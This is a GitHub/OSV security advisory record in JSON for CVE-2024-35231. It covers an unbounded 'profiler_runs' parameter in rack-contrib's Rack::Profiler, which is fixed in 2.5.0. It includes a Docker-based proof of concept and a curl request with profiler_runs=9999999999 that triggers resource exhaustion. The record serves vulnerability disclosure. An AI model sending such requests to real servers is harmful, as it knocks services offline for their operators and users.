Vulnerabilities in pkg:gem/rack-contrib

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8c8q-2xw3-j869",
  "modified" : "2024-05-31T20:42:29Z",
  "published" : "2024-05-28T15:48:43Z",
  "aliases" : [ "CVE-2024-35231" ],
  "summary" : "rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter",
  "details" : "### Summary\n\nThe next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).\n\n```ruby\n        runs = (request.params['profiler_runs'] || @times).to_i\n        result = @profile.profile do\n          runs.times { @app.call(env) }\n        end\n```\n\nAn exploit as such `curl --fail \"http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time\"` may cause resource exhaution by a remotely controlled value.\n\n### PoC\n\nHerein the `config.ru` file: \n\n```ruby\nrequire 'rack'\nrequire 'rack/contrib'\n\nuse Rack::Profiler # if ENV['RACK_ENV'] == 'development'\n\n# Define a Rack application\napp = lambda do |env|\n  # Your application logic goes here\n  [200, {}, [\"Hello World\"]]\nend\n\n# Run the Rack application\nrun app\n```\n\nA Dockerfile:\n\n```Dockerfile\n# Use the official Ruby image as a base\nFROM ruby:latest\n\n# Set the working directory inside the container\nWORKDIR /app\n\n# Copy the custom config.ru file into the container\nCOPY config.ru .\nCOPY Gemfile .\n\n# Install rack and the gems needed to run the app\nRUN bundle install\n\n# Expose the port that rackup will listen on\nEXPOSE 9292\n\n# Run rackup when the container starts\nENTRYPOINT [\"rackup\",\"--host\",\"0.0.0.0\",\"--port\",\"9292\"]\n\n# Health check\nHEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1\n\n```\n\nA Gemfile \n\n```\nsource 'https://rubygems.org'\n\ngem 'rack', '~> 2.0'\ngem 'rack-contrib', '~> 2.4'\ngem 'rackup'\ngem 'ruby-prof'\n```\n\nA Docker compose\n\n```Dockerfile\nservices:\n  app:\n    build:\n      context: .\n    ports:\n      - \"9292:9292\"\n```\n\nTo run the PoC \n\n```bash\ndocker compose up --build\n```\n\nTo exploit DoS: \n\n```bash\ncurl  \"http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time\"\n```\n\n### Impact\n - Potential denial of service by remotely user-controlled data.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "rack-contrib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-35231"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rack/rack-contrib"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-contrib/CVE-2024-35231.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-05-28T15:48:43Z",
    "nvd_published_at" : "2024-05-27T17:15:09Z"
  }
}